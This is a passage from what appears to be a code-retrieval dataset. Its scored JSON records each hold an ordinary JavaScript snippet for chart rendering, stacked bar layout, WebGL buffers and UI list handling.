yAxis.options.stackLabels || {}, false, 0, void 0);\n this.dummyStackItem = dummyStackItem;\n // Render each waterfall stack total\n if (stackTotalGroup) {\n objectEach(waterfallStacks, function (type) {\n objectEach(type, function (stackItem, key) {\n dummyStackItem.total = stackItem.stackTotal;\n dummyStackItem.x = +key;\n if (stackItem.label) {\n dummyStackItem.label = stackItem.label;\n }\n StackItem.prototype.render.call(dummyStackItem, stackTotalGroup);\n stackItem.label = dummyStackItem.label;\n delete dummyStackItem.label;\n });\n });\n }\n dummyStackItem.total = null;\n }", "title": "" }, { "docid": "6cc93b92af03779ccee0ba5ccd80c288", "score": "0.4829087", "text": "function cleanUp() {\n console.log('cleanUp');\n // let dj = null;\n // console.log('cleaning up');\n // console.log(arr);\n for (let i = 0; i < djs.length; i++) {\n let offset = 0;\n for (let j = 0; j < djs[i].songs.length; j++) {\n if (removeHelp[djs[i].id][0] - offset === j) {\n // console.log('removingremovingremovingremovingremoving');\n // console.log(removeHelp);\n // console.log(djs[i].songs[j].title);\n djs[i].songs.splice(j, 1);\n removeHelp[djs[i].id].shift();\n offset++;\n j--;\n }\n }\n }\n}", "title": "" }, { "docid": "e25e885d87cf2202fca2f84689c5e3b3", "score": "0.48236158", "text": "function cleanSource(nodes) {\n return nodes.map((i) => {\n if (i.nodes) i.nodes = cleanSource(i.nodes);\n delete i.source;\n return i;\n });\n}", "title": "" }, { "docid": "7041b543c21d68065fa447fffd407333", "score": "0.4822611", "text": "normalize(inplace=true)\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "5253422d1847f9af6e5364120d75c314", "score": "0.4803161", "text": "function resetAllItems()\n{\n\t var nodes = diagram.getNodes();\n\t\t \n\t\t for(var i = 0; i < nodes.length; i++)\n\t\t\t nodes[i].getComponent(\"Background\").brush = \"white\";\n\t\t \n\t\t var links = diagram.getLinks();\n\t\t \n\t\t for(var i = 0; i < links.length; i++)\n\t\t {\n\t\t\t links[i].setStroke(\"#CECECE\");\n\t\t\t links[i].setZIndex(0);\n\t\t }\n}", "title": "" }, { "docid": "3604583934887bd7340bb6691819fb2c", "score": "0.47998053", "text": "Rebuild()\n {\n this.Unload(true);\n this.RebuildItems();\n this._dirty = false;\n const itemCount = this._visibleItems.length;\n if (!itemCount)\n {\n super.Rebuild();\n return;\n }\n\n const\n vertexSize = 35,\n mat4_0 = EvePlaneSet.global.mat4_0;\n\n const array = new Float32Array(itemCount * 4 * vertexSize);\n for (let i = 0; i < itemCount; ++i)\n {\n const\n item = this._visibleItems[i],\n offset = i * 4 * vertexSize;\n\n array[offset + vertexSize - 3] = 0;\n array[offset + vertexSize + vertexSize - 3] = 1;\n array[offset + 2 * vertexSize + vertexSize - 3] = 2;\n array[offset + 3 * vertexSize + vertexSize - 3] = 3;\n\n const itemTransform = mat4.fromRotationTranslationScale(item.transform, item.rotation, item.position, item.scaling);\n\n for (let j = 0; j < 4; ++j)\n {\n const vtxOffset = offset + j * vertexSize;\n array[vtxOffset] = itemTransform[0];\n array[vtxOffset + 1] = itemTransform[4];\n array[vtxOffset + 2] = itemTransform[8];\n array[vtxOffset + 3] = itemTransform[12];\n array[vtxOffset + 4] = itemTransform[1];\n array[vtxOffset + 5] = itemTransform[5];\n array[vtxOffset + 6] = itemTransform[9];\n array[vtxOffset + 7] = itemTransform[13];\n array[vtxOffset + 8] = itemTransform[2];\n array[vtxOffset + 9] = itemTransform[6];\n array[vtxOffset + 10] = itemTransform[10];\n array[vtxOffset + 11] = itemTransform[14];\n\n array[vtxOffset + 12] = item.color[0];\n array[vtxOffset + 13] = item.color[1];\n array[vtxOffset + 14] = item.color[2];\n array[vtxOffset + 15] = item.color[3];\n\n array[vtxOffset + 16] = item.layer1Transform[0];\n array[vtxOffset + 17] = item.layer1Transform[1];\n array[vtxOffset + 18] = item.layer1Transform[2];\n array[vtxOffset + 19] = item.layer1Transform[3];\n\n array[vtxOffset + 20] = item.layer2Transform[0];\n array[vtxOffset + 21] = item.layer2Transform[1];\n array[vtxOffset + 22] = item.layer2Transform[2];\n array[vtxOffset + 23] = item.layer2Transform[3];\n\n array[vtxOffset + 24] = item.layer1Scroll[0];\n array[vtxOffset + 25] = item.layer1Scroll[1];\n array[vtxOffset + 26] = item.layer1Scroll[2];\n array[vtxOffset + 27] = item.layer1Scroll[3];\n\n array[vtxOffset + 28] = item.layer2Scroll[0];\n array[vtxOffset + 29] = item.layer2Scroll[1];\n array[vtxOffset + 30] = item.layer2Scroll[2];\n array[vtxOffset + 31] = item.layer2Scroll[3];\n\n array[vtxOffset + 33] = item.boneIndex;\n array[vtxOffset + 34] = item.maskAtlasID;\n }\n }\n\n this._vertexBuffer = device.gl.createBuffer();\n device.gl.bindBuffer(device.gl.ARRAY_BUFFER, this._vertexBuffer);\n device.gl.bufferData(device.gl.ARRAY_BUFFER, array, device.gl.STATIC_DRAW);\n device.gl.bindBuffer(device.gl.ARRAY_BUFFER, null);\n\n const indexes = new Uint16Array(itemCount * 6);\n for (let i = 0; i < itemCount; ++i)\n {\n const\n offset = i * 6,\n vtxOffset = i * 4;\n\n indexes[offset] = vtxOffset;\n indexes[offset + 1] = vtxOffset + 2;\n indexes[offset + 2] = vtxOffset + 1;\n indexes[offset + 3] = vtxOffset;\n indexes[offset + 4] = vtxOffset + 3;\n indexes[offset + 5] = vtxOffset + 2;\n }\n\n this._indexBuffer = device.gl.createBuffer();\n device.gl.bindBuffer(device.gl.ELEMENT_ARRAY_BUFFER, this._indexBuffer);\n device.gl.bufferData(device.gl.ELEMENT_ARRAY_BUFFER, indexes, device.gl.STATIC_DRAW);\n device.gl.bindBuffer(device.gl.ELEMENT_ARRAY_BUFFER, null);\n this._indexBuffer.count = itemCount * 6;\n\n super.Rebuild();\n }", "title": "" }, { "docid": "5b34122f8f8a4372816c2063f7dccf0c", "score": "0.4797689", "text": "_removeColumnData(currentIteration) {\n\t\tconst sources = this.config.data.sources;\n\t\tconst self = this;\n\t\tconst vertices = this.model.registry.vertices;\n\t\tconst sourceName = sources[0];\n\t\tconst vertex = vertices[sourceName];\n\n\t\tif (currentIteration !== 0) {\n\t\t\tconst ids = vertex.time_shift_store.iter[currentIteration].r;\n\t\t\tif (ids) {\n\t\t\t\tids.forEach((id) => {\n\t\t\t\t\tdelete(self.store[id]);\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "58527ae74ba4880d718886c55460fc38", "score": "0.47954547", "text": "function scaleItems() {\n if (rescale) {\n d3.select('svg').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function(d){ return d; })\n .style('fill',styles.text.fill)\n .style('font-size', styles.text[\"font-size\"])\n .attr('x', -1000)\n .attr('y', -1000)\n .attr('class', 'tmp');\n var z = d3.selectAll('.tmp')[0]\n .map(function(x){ return x.getBBox(); });\n width = d3.max(z.map(function(x){ return x.width; }));\n margin = margin * width;\n width = width + 2 * margin;\n height = d3.max(z.map(function(x){ return x.height + margin / 2; }));\n \n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }", "title": "" }, { "docid": "af40e33fbb26855409a4f059b1574f16", "score": "0.47824904", "text": "shiftDown() {\n const source = this.memory.slice()\n this.memory.forEach((value, offset) => {\n offset += this.width\n this.drawPixel(offset % this.size, source[offset - this.width])\n })\n }", "title": "" }, { "docid": "d768844840e844c1d28819e321095fbe", "score": "0.47810292", "text": "function resetIndexAndContainer() {\n var adjust = (edgePadding) ? 1 : 0,\n leftEdge = slideBy - cloneCount + adjust,\n rightEdge = slideCount + cloneCount - items - slideBy - 1; // -1: index starts form 0\n\n if (index < leftEdge || index > rightEdge) {\n (index - slideCount >= leftEdge && index - slideCount <= rightEdge) ? index -= slideCount : index += slideCount;\n\n if (TRANSITIONDURATION) { sliderContainer.style[TRANSITIONDURATION] = '0s'; }\n translate();\n }\n }", "title": "" }, { "docid": "d472178c3b5d07d6d0b7f5482a7d8fd4", "score": "0.4780704", "text": "_cacheItems() {\n this._activeDraggables = this._draggables.slice();\n this._cacheItemPositions();\n this._cacheParentPositions();\n }", "title": "" }, { "docid": "ca08ffc28b59f9df338ce073e2c272b1", "score": "0.47806984", "text": "function _default(seriesType){\nreturn {\nseriesType:seriesType,\nplan:createRenderPlanner(),\nreset:function reset(seriesModel){\nvar data=seriesModel.getData();\nvar coordSys=seriesModel.coordinateSystem;\nvar pipelineContext=seriesModel.pipelineContext;\nvar isLargeRender=pipelineContext.large;\n\nif(!coordSys){\nreturn;\n}\n\nvar dims=map(coordSys.dimensions,function(dim){\nreturn data.mapDimension(dim);\n}).slice(0,2);\nvar dimLen=dims.length;\nvar stackResultDim=data.getCalculationInfo('stackResultDimension');\n\nif(isDimensionStacked(data,dims[0]\n/*, dims[1]*/))\n{\ndims[0]=stackResultDim;\n}\n\nif(isDimensionStacked(data,dims[1]\n/*, dims[0]*/))\n{\ndims[1]=stackResultDim;\n}\n\nfunction progress(params,data){\nvar segCount=params.end-params.start;\nvar points=isLargeRender&&new Float32Array(segCount*dimLen);\n\nfor(var i=params.start,offset=0,tmpIn=[],tmpOut=[];i<params.end;i++){\nvar point;\n\nif(dimLen===1){\nvar x=data.get(dims[0],i);\npoint=!isNaN(x)&&coordSys.dataToPoint(x,null,tmpOut);\n}else {\nvar x=tmpIn[0]=data.get(dims[0],i);\nvar y=tmpIn[1]=data.get(dims[1],i);// Also {Array.<number>}, not undefined to avoid if...else... statement\n\npoint=!isNaN(x)&&!isNaN(y)&&coordSys.dataToPoint(tmpIn,null,tmpOut);\n}\n\nif(isLargeRender){\npoints[offset++]=point?point[0]:NaN;\npoints[offset++]=point?point[1]:NaN;\n}else {\ndata.setItemLayout(i,point&&point.slice()||[NaN,NaN]);\n}\n}\n\nisLargeRender&&data.setLayout('symbolPoints',points);\n}\n\nreturn dimLen&&{\nprogress:progress};\n\n}};\n\n}", "title": "" }, { "docid": "e1eebfdc767dfaa0c158d49a1857a8de", "score": "0.47782004", "text": "function spaceU() {\n a.dropEdges();\n a.dropNodes();\n s.refresh({skipIndexation: true});\n }", "title": "" }, { "docid": "9cacea38af284419dc335fc7b4b1d9f4", "score": "0.47779045", "text": "function startdrop() {\r\n document.getElementById(\"dataset\").ondragover = function (ev) {\r\n ev.preventDefault();\r\n }\r\n\r\n // change datasets/overlays order\r\n document.getElementById(\"dataset\").ondrop = function (ev) {\r\n var name = ev.dataTransfer.getData(\"text\");\r\n\t\t//console.log(name);\r\n var list = document.getElementById(\"dataset\").childNodes;\r\n var place = ev.clientY;\r\n var dragged;\r\n var i;\r\n for (i = 0; i < list.length; i++) {\r\n if (list[i].title == name) {\r\n dragged = list[i];\r\n }\r\n }\r\n\r\n if (place < list[0].getBoundingClientRect().y + 5) {\r\n $(\"#dataset\").prepend(dragged);\r\n }else {\r\n for (i = 0; i < list.length; i++) {\r\n if (place > list[i].getBoundingClientRect().y + 5) {\r\n list[i].after(dragged);\r\n }\r\n }\r\n }\r\n\t\tlist = document.getElementById(\"dataset\").childNodes;\r\n for (i = 0; i < list.length; i++) {\r\n //console.log(list[i].title);\r\n temp = findUse(list[i].title)\r\n\t\t\tmap_buffer[list[i].title].setStyle({\r\n icon: customizePoint(temp),\r\n strokeWeight: 1,\r\n strokeColor: legend_buffer[list[i].title],\r\n fillColor: legend_buffer[list[i].title],\r\n zIndex: list.length - i - 1,\r\n });\r\n }\r\n };\r\n \r\n}", "title": "" }, { "docid": "60bd992c39e8f57c3be5b8e40ee2f6e0", "score": "0.47731918", "text": "function stackClear() {\n this.__data__ = {\n 'array': [],\n 'map': null\n };\n }", "title": "" }, { "docid": "f7d7eae1c49c7aa3fef2c56c4d62b601", "score": "0.47719276", "text": "function adjust_children_positioning(nestedData, num_of_timepoints, measure) {\n for (var i = 0; i < nestedData.length; i++) {\n var parent_index = nestedData[i].parent_index_of_this;\n //Added || != 'none' to satisfy fishplot editor (Had to add separate if statement for some reason??)\n //All fishplots that havent been placed down yet have a parent_index of 'none'\n //This is so I can do the collision prevention for the children that are already plotted\n if (parent_index != \"plot\") {\n if (parent_index != \"none\") {\n var parent = nestedData[parent_index];\n var children = parent.children;\n var start_point = parent.start_point;\n //Potentially include an && the children has not already been checked\n //If parent has 2+ children, then the loop below will have taken care of those children already\n if (children.length != 0) {\n for (var j = 0; j < children.length; j++) {\n var child = nestedData[children[j]];\n for (var k = 0; k < child.values.length; k++) {\n var start_point_space = parent.values[k][measure] / children.length;\n var start_point_base = start_point_space / 2;\n child.start_point = start_point_base + (start_point_space * j) + parent.values[k].bottom;\n child.values[k].start_point = child.start_point;\n if ((child.start_point - child.values[k][measure] / 2) < parent.values[k].bottom) {\n child.values[k].bottom = parent.values[k].bottom;\n child.values[k].top = child.values[k].bottom + child.values[k][measure];\n }\n else if (( child.start_point + child.values[k][measure] / 2) > parent.values[k].top) {\n child.values[k].top = parent.values[k].top;\n child.values[k].bottom = child.values[k].top - child.values[k][measure];\n }\n else {\n child.values[k].top = (child.start_point + child.values[k][measure] / 2);\n child.values[k].bottom = (child.start_point - child.values[k][measure] / 2);\n }\n }\n child.start_point = child.values[0].bottom;\n }\n for (var j = 0; j < num_of_timepoints + 1; j++) {\n nestedData = collision_detection(nestedData, children, j, parent.values[j].bottom, parent.values[j].top, measure);\n }\n }\n }\n }\n }\n return nestedData;\n }", "title": "" }, { "docid": "0df1cef4afef8c4fbf5cfc67e7fc6c10", "score": "0.47551173", "text": "function realignStack() {\n //Iterate through each column\n\n for (var i = 0; i < 840; i+= 60) {\n //Get column\n var col = stack.children.entries.filter(child => child.x == i)\n col.sort(function(a, b){return b.y - a.y});\n //console.log(\"This is the stack of poo\");\n //stack.children.entries.forEach(child => console.log(child.y));\n //Set the current column\n var currcol = 0;\n var end = false;\n //Iterate through gaps\n for(var j = 540; j > 60; j-= 60) {\n if(col.length > 0 && !end) {\n //Check next sprite is not adjacent\n if(!(j == col[currcol].y )) {\n //if(!(j + 20 >= col[currcol].body.y && j - 20 <= col[currcol].body.y)) {\n //Gap detected\n console.log(j);\n console.log(col[currcol].y);\n alert(\"GAP DETECTED\");\n //Move tile down\n stack.create(col[currcol].body.x+30, col[currcol].body.y+90, col[currcol].texture);\n col[currcol].destroy();\n currcol++;\n } else {\n currcol++;\n }\n //Control\n if(currcol == col.length) {\n end = true;\n }\n }\n }\n //Change the collision domain\n brick.children.each(child => child.body.setSize(50,60,29));\n }\n}", "title": "" }, { "docid": "db6c97ecd682694ad083057a99af02c4", "score": "0.47515732", "text": "function loadStackedBars(error, data, fromMenu, sorting) {\n console.log(\"loadStackedBars\");\n console.log(data);\n existingData = data;\n d3.select(\"#stackedBars\").selectAll(\"g\").remove();\n var sortingData = existingData[stat];\n var minGD = Number.MAX_SAFE_INTEGER;\n for(i=0; i<sortingData.length; i++) {\n if(sortingData[i][\"GD\"] < minGD)\n minGD = sortingData[i][\"GD\"];\n }\n minGD = minGD - 1;\n\n function compareFunc(a, b) {\n var aTotal = 0;\n var bTotal = 0;\n for(i=0; i<params.length; i++) {\n var key = params[i];\n\n if(key === \"Pos\") {\n aTotal = aTotal + (21-a[key]);\n bTotal = bTotal + (21-b[key]);\n } else if(key === \"GD\") {\n aTotal = aTotal + a[key] + Math.abs(minGD);\n bTotal = bTotal + b[key] + Math.abs(minGD);\n } else {\n aTotal = aTotal + a[key];\n bTotal = bTotal + b[key];\n console.log(\"Value added:\" + a[key]);\n console.log(\"Value added:\" + b[key]);\n }\n }\n if(sorting === 1) {\n if (aTotal < bTotal) {\n return -1;\n }\n if (aTotal > bTotal) {\n return 1;\n }\n } else if(sorting === 2) {\n if (aTotal > bTotal) {\n return -1;\n }\n if (aTotal < bTotal) {\n return 1;\n }\n }\n\n\n return 0;\n }\n\n\n\n if(sorting != 0) {\n sortingData = existingData[stat].slice();\n sortingData = sortingData.sort(compareFunc);\n console.log(\"Sorted data: \");\n console.log(sortingData);\n }\n\n var n = params.length, // The number of series.\n m = data[stat].length; // The number of values per series.\n\n // The xz array has m elements, representing the x-values shared by all series.\n // The yz array has n elements, representing the y-values of each of the n series.\n // Each yz[i] is an array of m non-negative numbers representing a y-value for xz[i].\n // The y01z array has the same structure as yz, but with stacked [y₀, y₁] instead of y.\n var xz = d3.range(m),\n yz = d3.range(n).map(function(i) { return getSelectedData(m, params[i]); }),\n y01z = d3.stack().keys(d3.range(n))(d3.transpose(yz)),\n yMax = d3.max(yz, function(y) { return d3.max(y); }),\n y1Max = d3.max(y01z, function(y) { return d3.max(y, function(d) { return d[1]; }); });\n\n var svg = d3.select(\"#stackedBars\"),\n margin = {top: 40, right: 10, bottom: 20, left: 10},\n width = +svg.attr(\"width\") - margin.left - margin.right,\n height = +svg.attr(\"height\") - margin.top - margin.bottom,\n g = svg.append(\"g\").attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n var x = d3.scaleBand()\n .domain(xz)\n .rangeRound([0, width])\n .padding(0.08);\n\n var y = d3.scaleLinear()\n .domain([0, y1Max + 100])\n .range([height, 0]);\n\n var color = d3.scaleOrdinal()\n .domain(d3.range(n))\n .range(d3.schemeSet2);\n\n var series = g.selectAll(\".series\")\n .data(y01z)\n .enter().append(\"g\")\n .attr(\"fill\", function(d, i) { return color(i); });\n\n var rect = series.selectAll(\"rect\")\n .data(function(d) { return d; })\n .enter().append(\"rect\")\n .attr(\"x\", function(d, i) { return x(i); })\n .attr(\"y\", height)\n .attr(\"width\", x.bandwidth())\n .attr(\"height\", 0);\n\n rect.transition()\n .delay(function(d, i) { return i * 10; })\n .attr(\"y\", function(d) { return y(d[1]); })\n .attr(\"height\", function(d) { return y(d[0]) - y(d[1]); });\n\n g.append(\"g\")\n .attr(\"class\", \"axis axis--x\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(d3.axisBottom(x)\n .tickSize(0)\n .tickFormat(function(d,i){ return sortingData[i].short_name;})\n .tickPadding(6));\n\n\n d3.selectAll(\"input\")\n .on(\"change\", changed);\n svg.call(d3.drag().on(\"start\", dragStart).on(\"end\", dragEnd));\n\n if (fromMenu) {\n var timeout = d3.timeout(function() {\n d3.select(\"input[value=\\\"grouped\\\"]\")\n .property(\"checked\", true)\n .dispatch(\"change\");\n }, 2000);\n } else {\n var timeout = d3.timeout(function() {\n d3.select(\"input[value=\\\"grouped\\\"]\")\n .property(\"checked\", true)\n .dispatch(\"change\");\n }, 200);\n }\n\n\n function changed() {\n if(fromMenu)\n timeout.stop();\n if (this.value === \"grouped\") transitionGrouped();\n else transitionStacked();\n }\n\n function transitionGrouped() {\n y.domain([0, yMax]);\n\n rect.transition()\n .duration(500)\n .delay(function(d, i) { return i * 10; })\n .attr(\"x\", function(d, i) { return x(i) + x.bandwidth() / n * this.parentNode.__data__.key; })\n .attr(\"width\", x.bandwidth() / n)\n .transition()\n .attr(\"y\", function(d) { return y(d[1] - d[0]); })\n .attr(\"height\", function(d) { return y(0) - y(d[1] - d[0]); });\n }\n\n function transitionStacked() {\n y.domain([0, y1Max]);\n\n rect.transition()\n .duration(500)\n .delay(function(d, i) { return i * 10; })\n .attr(\"y\", function(d) { return y(d[1]); })\n .attr(\"height\", function(d) { return y(d[0]) - y(d[1]); })\n .transition()\n .attr(\"x\", function(d, i) { return x(i); })\n .attr(\"width\", x.bandwidth());\n }\n\n\n function getSelectedData(m, param) {\n\n var values = [];\n console.log(\"Param name: \" + param);\n\n\n for (i = 0; i < m; ++i) {\n if(param === \"Pos\")\n values[i] = 21 - sortingData[i][param]; //position 1 should have the biggest bar\n else if(param === \"GD\")\n values[i] = sortingData[i][param] + Math.abs(minGD);\n else\n values[i] = sortingData[i][param];\n }\n console.log(\"Values: \" + values);\n return values;\n }\n\n\n // add legend\nconsole.log(\"add legend\");\nvar legend = svg.append(\"g\")\n .attr(\"class\", \"legend\")\n .attr(\"x\", margin.left)\n .attr(\"y\", margin.top)\n .attr(\"height\", 100)\n .attr(\"width\", 100);\n\nlegend.selectAll('g').data(params)\n .enter()\n .append('g')\n .each(function (d, i) {\n var g = d3.select(this);\n g.append(\"rect\")\n .attr(\"x\", margin.left + i * 100)\n .attr(\"y\", margin.top)\n .attr(\"width\", 10)\n .attr(\"height\", 10)\n // .style(\"fill\", color_hash[String(i)][1]);\n .style(\"fill\", color(i));\n\n g.append(\"text\")\n .attr(\"x\", margin.left + i * 100 + 15)\n .attr(\"y\", margin.top + 8)\n .attr(\"height\", 30)\n .attr(\"width\", 100)\n // .style(\"fill\", color_hash[String(i)][1])\n .style(\"fill\", color(i))\n .text(params[i]);\n\n });\n\n}", "title": "" }, { "docid": "eb2a9be4ce3da96ed1dea68068911fa2", "score": "0.4744264", "text": "generateItems() {\n const itemFunc = this.state.itemFunc;\n const maxValue = this.state.maxValue;\n const conf = {\n func: itemFunc, maxValue,\n itemsPerLevel: this.state.numEntities\n };\n const level = this.state.level;\n\n // Remove existing items first\n const items = level.getItems();\n items.forEach(item => {\n level.removeItem(item, item.getX(), item.getY());\n });\n\n RG.FACT.addNRandItems(level, this.parser, conf);\n this.setStateWithLevel(level);\n }", "title": "" }, { "docid": "6ed23986a357cee01e2a8cb6dde6f9e9", "score": "0.47374883", "text": "_cleanChart() {\n select(this.node).selectAll('*').remove();\n select(this.node.parentNode).select('div').remove();\n }", "title": "" }, { "docid": "2cebee8a90519d5f3ae394a75109ca00", "score": "0.47296157", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n }", "title": "" }, { "docid": "2cebee8a90519d5f3ae394a75109ca00", "score": "0.47296157", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n }", "title": "" }, { "docid": "e130af3fbcbd21ea024b34046184a795", "score": "0.4722191", "text": "removeFluid() {\n ArrayScraper.scrape(this.fluidGrid, (asset) => {\n if(asset === null) return;\n asset.fluid = false;\n asset.fluidA = asset.fluidA ? false : null;\n asset.fluidB = asset.fluidB ? false : null;\n asset.fluidC = asset.fluidC ? false : null;\n });\n }", "title": "" }, { "docid": "2a14648cd4d1331903aa283cb938bad7", "score": "0.472085", "text": "function transitionStacked() {\n updateStack();\n\n bar.selectAll(\"rect\").transition()\n .duration(300)\n .delay(function(d, i) { return i * 10; })\n .attr(\"transform\", function(d) { return \"translate(\" + main_x1(x0Value(d)) + \",0)\"; })\n .attr(\"width\", function(d) { return main_x0.rangeBand(); })\n .attr(\"x\", function(d) { return main_x0(x0Value(d)); })\n .transition()\n .attr(\"y\", function(d) { return main_y(d.y1); })\n .attr(\"height\", function(d) { return main_y(d.y0) - main_y(d.y1); });\n\n mini_bar.selectAll(\"rect\").transition()\n .duration(300)\n .delay(function(d, i) { return i * 10; })\n .attr(\"transform\", function(d) { return \"translate(\" + mini_x1(x0Value(d)) + \",0)\"; })\n .attr(\"width\", function(d) { return mini_x0.rangeBand(); })\n .attr(\"x\", function(d) { return mini_x0(x0Value(d)); })\n .transition()\n .attr(\"y\", function(d) { return mini_y(d.y1); })\n .attr(\"height\", function(d) { return mini_y(d.y0) - mini_y(d.y1); });\n }", "title": "" }, { "docid": "2603b3e059ec794b49a37abc1c0f9c19", "score": "0.4715857", "text": "function getNodesByImpact() {\n \n //console.log(\"begin compute values for stacked chart\");\n\n var nbTopElts = 5;\n listOfRelativeImportances = [];\n \n netCopy = getListNodesRefsSorted();\n var fiveMostInfluential = [];\n //found the 5 most influential works\n var mostInfluential = netCopy.slice(0,nbTopElts);\n \n //init everything to 0\n for(var i = 0 ; i < nbTopElts+1; i ++){\n listOfRelativeImportances.push([]);\n \n for(var j = 0;j < nbStepsForTools+1; j++){\n listOfRelativeImportances[i].push(0);\n }\n }\n \n var listOfnodesAlreadyDone = [];\n //for each of the top influential node\n for(var el = 0 ; el < mostInfluential.length; el++){\n var nodeStudied = mostInfluential[el];\n for(var fol = 0 ; fol < nodeStudied.refBy.length;fol++){\n var folNode = nodeStudied.refBy[fol];\n var indexToIncrement = Math.round(scaleScalingFromDate(folNode.date));\n \n listOfRelativeImportances[el][indexToIncrement]++;\n listOfnodesAlreadyDone.push(folNode);\n }\n }\n //console.log(\"topNodesValues added\");\n\n for(key in network){\n var thisNode = network[key];\n if (listOfnodesAlreadyDone.indexOf(thisNode)==-1) {\n var indexToIncrement = Math.round(scaleScalingFromDate(thisNode.date));\n listOfRelativeImportances[listOfRelativeImportances.length-1][indexToIncrement]++;\n }\n \n }\n \n // console.log(\"finished to compute values for stack\");\n\n // console.log(listOfRelativeImportances);\n\n return listOfRelativeImportances;\n \n}", "title": "" }, { "docid": "ffc652595d1b74d8ff86a77f0c64c2c6", "score": "0.47152665", "text": "setFormattedResources() {\n let children = [];\n let items = [];\n this.props.resources.forEach(item => {\n let formattedItem = this.formatItem(item);\n if (item.parentUuid == null) items.push(formattedItem);\n else children.push(formattedItem);\n });\n\n // searches parentItemsArray for a parent. if found, returns new parent array with child added, and removes child from the \"children\" array defined above\n let insertIntoParent = (child, childIndex, parentItemsArray) => {\n //parse nested array structure of items and find parent, insert child where appropriate\n parentItemsArray.forEach((parentItem, parentIndex) => {\n if (parentItem.uuid == child.parentUuid) {\n if (!parentItem.children) parentItemsArray[parentIndex].children = [];\n parentItemsArray[parentIndex].children.push(child);\n children.splice(childIndex, 1);\n } else if (parentItem.children != null) {\n parentItemsArray[parentIndex].children = insertIntoParent(child, childIndex, parentItem.children);\n // console.log(\"going deeper\");\n }\n });\n return parentItemsArray;\n };\n\n // should never go past ~10 or so loops depending on how deeply the items are nested. num is just incase so it doesnt freze the app\n // each loop can only set 1 generation deeper. keep looping until all generations are set.\n let num = 1;\n while (children.length > 0 && num < 500) {\n num = num + 1;\n children.forEach((child, childIndex) => (items = insertIntoParent(child, childIndex, items)));\n }\n\n // use this object if root should be collapsible. otherwise just use items array\n // let data = {\n // name: \"sections\",\n // toggled: true,\n // children: items,\n // };\n this.setState({ data: items });\n }", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "0344d052d6f534012a773fc1fea8f0e7", "score": "0.4705318", "text": "function stackClear() {\n this.__data__ = { 'array': [], 'map': null };\n}", "title": "" }, { "docid": "5e2832612f7a9afdf079975a7c6b993d", "score": "0.46994403", "text": "_initRemoveVariationButton() {\n this.removeVariationButton.addEventListener('click', event => {\n const variables = this.collectionView.dataSet.variables;\n // This button behaves differently depending on whether it is pressed on a variation or a variable definition\n // For variations, this should just remove the variation\n if (this.indexPath.object.sizeClass) {\n // Update the UI\n this.collectionView.dataSet.beginUpdates();\n variables.splice(this.indexPath.row, 1);\n this.collectionView.dataSet.commitUpdates();\n\n // And unregister the variation from the variable provider\n this.editor.layoutVariableProvider.removeVariationForLayoutVariableNamed(this.indexPath.object.name, {inSizeClass: this.indexPath.object.sizeClass});\n }\n else {\n // For variable definitions, this should unregister all size class variations and also remove the variable itself\n // TODO: Verify that the variable is not used referened and provide a warning if it is\n this.collectionView.dataSet.beginUpdates();\n for (let i = 0; i < variables.length; i++) {\n const variable = variables[i];\n if (variable.name == this.indexPath.object.name) {\n // Remove the variation or variable from the provider\n if (variable.sizeClass) {\n this.editor.layoutVariableProvider.removeVariationForLayoutVariableNamed(variable.name, {inSizeClass: variable.sizeClass});\n }\n else {\n this.editor.layoutVariableProvider.unregisterLayoutVariableNamed(variable.name);\n }\n\n // Update the UI's backing data set\n variables.splice(i, 1);\n i--;\n }\n }\n\n this.collectionView.dataSet.commitUpdates();\n }\n });\n }", "title": "" }, { "docid": "d468464c22981ce7ad34dc928b2d8e71", "score": "0.46977377", "text": "prepareContent(){\n let vGap = 5;\n let rowHeight = styles.elements.fontSize + vGap;\n const MAX_HEIGHT = 500;\n let values = []; // init empty array\n let inStorage = [];\n let height = 0; // init height counter\n const { state } = this.props; // to get nodeId and state data\n\n //get data from state.stack || state.queue\n let storage = undefined;\n storage = state.stack || state.queue;\n // console.log(storage.values);\n // console.log(storage.inStack);\n if(storage){\n values = storage.values;\n height = values.length * rowHeight;\n if (height) height += vGap;\n inStorage = storage.inStorage;\n }\n return {values,inStorage,height};\n }", "title": "" }, { "docid": "49ba3e191db6447e900626e8d911e58b", "score": "0.4691019", "text": "prepareTiles() {\n this.grid.eachCell(function (x, y, tile) {\n if (tile) {\n tile.mergedFrom = null;\n tile.savePosition();\n }\n });\n }", "title": "" }, { "docid": "51740e4f2f6ff2a6e01169143a50d884", "score": "0.46906242", "text": "apply() {\n for (const node of this.nodesToTransform) {\n const id = this.getOrCreateId(node);\n let nodeHasBeenTransformed = false;\n for (const [attribute, transformer] of Object.entries(this.attributeTransformations)) {\n if (hasAttribute(node, attribute)) {\n try {\n nodeHasBeenTransformed = nodeHasBeenTransformed || transformer.transform(node, id);\n } catch (e) {\n this.log.debug(\n `Cannot remove boilerplate. Failed transforming ${attribute}=\"${node.attribs[attribute]}\".`,\n e\n );\n this.nodesToTransform = this.nodesToTransform.filter(\n (nodeToTransform) => nodeToTransform !== node\n );\n 